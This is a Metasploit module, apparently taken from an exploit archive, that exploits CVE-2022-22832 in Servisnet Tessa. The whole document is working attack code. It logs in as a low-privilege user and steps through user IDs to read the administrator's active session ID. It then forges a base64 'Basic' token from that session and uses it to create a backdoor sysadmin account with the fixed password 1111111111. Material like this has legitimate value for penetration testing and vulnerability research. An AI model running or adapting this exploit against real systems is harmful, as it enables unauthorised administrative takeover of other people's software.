Servisnet Tessa – Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Servisnet Tessa - Privilege Escalation (Metasploit)', 'Description' => %q( This module exploits privilege escalation in Servisnet Tessa, triggered by add new sysadmin user with any user authorization . An API request to "/data-service/users/[userid]" with any low-authority user returns other users' information in response. The encrypted password information is included here, but privilage escelation is possible with the active sessionid value. var token = Buffer.from(`${user.username}:${user.usersessionid}`, 'utf8').toString('base64'); The logic required for the Authorization header is as above. Therefore, after accessing an authorized user ID value and active sessionId value, if the username and sessionId values are encoded with base64, a valid Token will be obtained and a new admin user can be added. ), 'References' => [ [ 'CVE', 'CVE-2022-22832' ], [ 'URL', 'https://www.pentest.com.tr/exploits/Servisnet-Tessa-Privilege-Escalation.html' ], [ 'URL', 'http://www.servisnet.com.tr/en/page/products' ] ], 'Author' => [ 'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus ], 'License' => MSF_LICENSE, 'DisclosureDate' => "Dec 22 2021", 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true } )) register_options([ OptString.new('USERNAME', [true, 'Servisnet Username']), OptString.new('PASSWORD', [true, 'Servisnet Password']), OptString.new('TARGETURI', [true, 'Base path for application', '/']) ]) end # split strings to salt def split(data, string_to_split) word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/) string = word.split('"]').join('').split('["').join('') return string end # split JSONs to salt def splitJSON(data, string_to_split) word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/) string = word.split('"]').join('').split('["').join('') return string end # split JSONs to salt none " def splitJSON2(data, string_to_split) word = data.scan(/"#{string_to_split}":([\S\s]*?),/)[0] string = word.split('"]').join('').split('["').join('') return string end def app_path res = send_request_cgi({ # default.a.get( check 'uri' => normalize_uri(target_uri.path, 'js', 'app.js'), 'method' => 'GET' }) if res && res.code == 200 && res.body =~ /baseURL/ data = res.body #word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/) base_url = data.scan(/baseURL: '\/([\S\s]*?)'/)[0] return base_url else fail_with(Failure::NotVulnerable, 'baseURL not found!') end end def add_user(token, app_path) newuser = Rex::Text.rand_text_alpha_lower(8) id = Rex::Text.rand_text_numeric(4) # encrypted password hxZ8I33nmy9PZNhYhms/Dg== / 1111111111 json_data = '{"alarm_request": 1, "city_id": null, "city_name": null, "decryptPassword": null, "email": "' + newuser + '@localhost.local", "id": ' + id + ', "invisible": 0, "isactive": 1, "isblocked": 0, "levelstatus": 1, "local_authorization": 1, "mail_request": 1, "name": "' + newuser + '", "password": "hxZ8I33nmy9PZNhYhms/Dg==", "phone": null, "position": null, "region_name": "test4", "regional_id": 0, "role_id": 1, "role_name": "Sistem Admin", "rolelevel": 3, "status": null, "surname": "' + newuser + '", "totalRecords": null, "try_pass_right": 0, "userip": null, "username": "' + newuser + '", "userType": "Lokal Kullanıcı"}' res = send_request_cgi( { 'method' => 'POST', 'ctype' => 'application/json', 'uri' => normalize_uri(target_uri.path, app_path, 'users'), 'headers' => { 'Authorization' => token }, 'data' => json_data }) if res && res.code == 200 && res.body =~ /localhost/ print_good("The sysAdmin authorized user has been successfully added.") print_status("Username: #{newuser}") print_status("Password: 1111111111") else fail_with(Failure::NotVulnerable, 'An error occurred while adding the user. Try again.') end end def sessionid_check res = send_request_cgi({ # user.usersessionid check 'uri' => normalize_uri(target_uri.path, 'js', 'app.js'), 'method' => 'GET' }) if res && res.code == 200 && res.body =~ /user.usersessionid/ return Exploit::CheckCode::Vulnerable else fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end end def find_admin(token, userid, app_path) res = send_request_cgi({ # token check 'uri' => normalize_uri(target_uri.path, app_path, 'users', userid), 'headers' => { 'Authorization' => token }, 'method' => 'GET' }) if not res && res.code == 200 && res.body =~ /usersessionid/ fail_with(Failure::NotVulnerable, 'An error occurred while use Token. Try again.') end loopid = userid.to_i $i = 0 # The admin userid must be less than the low-authority userid. while $i < loopid do $i +=1 res = send_request_cgi({ # token check 'uri' => normalize_uri(target_uri.path, app_path, 'users', $i), 'headers' => { 'Authorization' => token }, 'method' => 'GET' }) if res.code == 200 and res.body.include? '"Sistem Admin"' admin_uname = splitJSON(res.body, 'username') admin_sessid = splitJSON(res.body, 'usersessionid') admin_userid = splitJSON2(res.body, 'id') enc_token = Rex::Text.encode_base64('' + admin_uname + ':' + admin_sessid + '') token_admin = 'Basic ' + enc_token + '' print_good("Excellent! Admin user found.") print_good("Admin Username: #{admin_uname}") print_good("Admin SessionId: #{admin_sessid}") if session_check(token_admin, admin_userid, admin_uname) == "OK" break end end end end def session_check(token, userid, user) res = send_request_cgi({ # session check 'uri' => normalize_uri(target_uri.path, app_path, 'users', userid), 'headers' => { 'Authorization' => token }, 'method' => 'GET' }) if res && res.code == 200 && res.body =~ /managers_codes/ print_good("Admin session is active.") add_user(token, app_path) return "OK" else print_status("Admin user #{user} is not online. Try again later.") return "NOT" end end def login_check(user, pass) json_data = '{"username": "' + user + '", "password": "' + pass + '"}' res = send_request_cgi( { 'method' => 'POST', 'ctype' => 'application/json', 'uri' => normalize_uri(target_uri.path, app_path, 'api', 'auth', 'signin'), 'data' => json_data }) if res && res.code == 200 && res.body =~ /usersessionid/ sessid = splitJSON(res.body, 'usersessionid') userid = splitJSON2(res.body, 'id') print_status("Sessionid: #{sessid}") print_status("Userid: #{userid}") enc_token = Rex::Text.encode_base64('' + user + ':' + sessid + '') token = 'Basic ' + enc_token + '' print_status("Authorization: #{token}") find_admin(token, userid, app_path) else fail_with(Failure::NotVulnerable, 'An error occurred while login. Try again.') end end def check if sessionid_check return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def run unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end login_check(datastore['USERNAME'], datastore['PASSWORD']) end end |